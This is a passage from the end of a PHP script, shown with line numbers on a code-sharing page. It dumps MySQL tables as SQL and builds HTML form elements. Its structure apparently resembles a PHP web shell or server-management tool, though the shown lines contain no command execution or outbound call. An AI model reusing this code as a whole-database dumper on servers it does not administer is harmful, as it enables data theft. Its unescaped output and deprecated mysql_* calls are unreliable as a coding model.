  2032. $kname=substr($kname,7);
  2033. }
  2034. $tabledump .= " KEY $kname ($colnames)";
  2035. }
  2036. }
  2037. $tabledump .= "\n);\n\n";
  2038. if ($fp) {
  2039. fwrite($fp,$tabledump);
  2040. } else {
  2041. echo $tabledump;
  2042. }
  2043. $rows = q("SELECT * FROM $table");
  2044. $numfields = mysql_num_fields($rows);
  2045. while ($row = mysql_fetch_array($rows)) {
  2046. $tabledump = "INSERT INTO $table VALUES(";
  2047. $fieldcounter=-1;
  2048. $firstfield=1;
  2049. while (++$fieldcounter<$numfields) {
  2050. if (!$firstfield) {
  2051. $tabledump.=", ";
  2052. } else {
  2053. $firstfield=0;
  2054. }
  2055. if (!isset($row[$fieldcounter])) {
  2056. $tabledump .= "NULL";
  2057. } else {
  2058. $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
  2059. }
  2060. }
  2061. $tabledump .= ");\n";
  2062. if ($fp) {
  2063. fwrite($fp,$tabledump);
  2064. } else {
  2065. echo $tabledump;
  2066. }
  2067. }
  2068. fr($rows);
  2069. if ($fp) {
  2070. fwrite($fp,"\n");
  2071. } else {
  2072. echo "\n";
  2073. }
  2074. }
  2075. function ue($str){
  2076. return urlencode($str);
  2077. }
  2078. function p($str){
  2079. echo $str."\n";
  2080. }
  2081. function tbhead() {
  2082. p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
  2083. }
  2084. function tbfoot(){
  2085. p('</table>');
  2086. }
  2087. function makehide($name,$value=''){
  2088. p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
  2089. }
  2090. function makeinput($arg = array()){
  2091. $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
  2092. $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
  2093. !$arg['type'] && $arg['type'] = 'text';
  2094. $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
  2095. $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
  2096. if ($arg['newline']) {
  2097. p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
  2098. } else {
  2099. p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
  2100. }
  2101. }
  2102. function makeselect($arg = array()){
  2103. if ($arg['onchange']) {
  2104. $onchange = 'onchange="'.$arg['onchange'].'"';
  2105. }
  2106. $arg['title'] = $arg['title'] ? $arg['title'] : '';
  2107. if ($arg['newline']) p('<p>');
  2108. p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
  2109. if (is_array($arg['option'])) {
  2110. foreach ($arg['option'] as $key=>$value) {
  2111. if ($arg['selected']==$key) {
  2112. p("<option value=\"$key\" selected>$value</option>");
  2113. } else {
  2114. p("<option value=\"$key\">$value</option>");
  2115. }
  2116. }
  2117. }
  2118. p("</select>");
  2119. if ($arg['newline']) p('</p>');
  2120. }
  2121. function formhead($arg = array()) {
  2122. !$arg['method'] && $arg['method'] = 'post';
  2123. !$arg['action'] && $arg['action'] = $self;
  2124. $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
  2125. !$arg['name'] && $arg['name'] = 'form1';
  2126. p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
  2127. if ($arg['title']) {
  2128. p('<h2>'.$arg['title'].' &raquo;</h2>');
  2129. }
  2130. }
  2131. function maketext($arg = array()){
  2132. !$arg['cols'] && $arg['cols'] = 100;
  2133. !$arg['rows'] && $arg['rows'] = 25;
  2134. $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
  2135. p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
  2136. }
  2137. function formfooter($name = ''){
  2138. !$name && $name = 'submit';
  2139. p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
  2140. p('</form>');
  2141. }
  2142. function formfoot(){
  2143. p('</form>');
  2144. }
  2145. function pr($a) {
  2146. echo '<pre>';
  2147. print_r($a);
  2148. echo '</pre>';
  2149. }
  2150. ?>

comments powered by Disqus